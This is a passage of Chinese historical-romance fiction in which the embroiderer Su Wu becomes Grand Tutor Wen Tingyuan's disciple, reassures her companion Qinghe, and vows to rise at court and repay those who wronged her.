温庭远看着跪在地上的苏芜，眼底闪过一丝笑意，伸手扶起她：“好！好！不枉我看中你！从今往后，你便是我的弟子，我会将我毕生所学，尽数教给你。只是你要记住，这条路，注定艰难，注定孤独，你可后悔？”
“民女不悔！”苏芜的目光，无比坚定，“纵使前路布满荆棘，纵使身临险境，民女也绝不后悔！”
从温府出来时，已是深夜，京城的街道上，灯火阑珊，晚风拂过，带着一丝凉意，却吹不散苏芜心底的炽热。她抬头看向夜空，繁星点点，照亮了前行的路。
她知道，从今日起，她的人生，便彻底改变了。她不再只是锦绣阁的苏芜，不再只是一个设计纹样的绣娘，她成了温庭远的弟子，成了朝堂忠良之士的一员，成了搅动天下暗流的一颗棋子。
锦绣阁的风雨，不过是京城风雨的一角，而真正的风雨，才刚刚开始。
回到锦绣阁，青禾还在偏房等她，见她回来，连忙迎上来：“苏芜姐姐，你回来了，温太傅他……”
苏芜看着青禾担忧的模样，笑了笑，揉了揉她的头，眼底满是坚定：“青禾，从今日起，我们的日子，会越来越好，也会越来越难。但你放心，我会保护你，保护锦绣阁的所有人，让我们都能好好活下去。”
青禾看着苏芜眼底的坚定，似懂非懂地点了点头，紧紧拉着她的手：“苏芜姐姐，我相信你，无论多难，我都会跟着你，永远不离开你。”
苏芜点点头，握紧了青禾的手。窗外的月光，洒进偏房，落在桌上的纹样纸上，纸上的荷莲蜻蜓，在月光下，愈发鲜活。
她的身边，有青禾的陪伴，有张绣娘、王大等绣坊众人的支持，有温氏的信任，还有温庭远的指点，纵使前路布满荆棘，纵使朝堂暗流涌动，她也无所畏惧。
她会像那石缝里的野草，倔强生长；像那绣屏上的凤鸟，振翅高飞。她会用自己的智慧，自己的韧性，自己的绣针与炭笔，在这大靖王朝的天地间，走出一条属于自己的路，活成自己的光，也活成那些身处黑暗的人的光。
而柳清柔，魏忠贤，那些欺辱她、陷害她、想要置她于死地的人，她都会一一反击，让他们付出应有的代价。
绣坊的纹，能惊宫廷；民间的力，能撼朝堂。苏芜的锦绣人生，才真正拉开了序幕，而这尘世间的风雨，也会因她，变得愈发汹涌，却也会因她，迎来一缕清明的微光。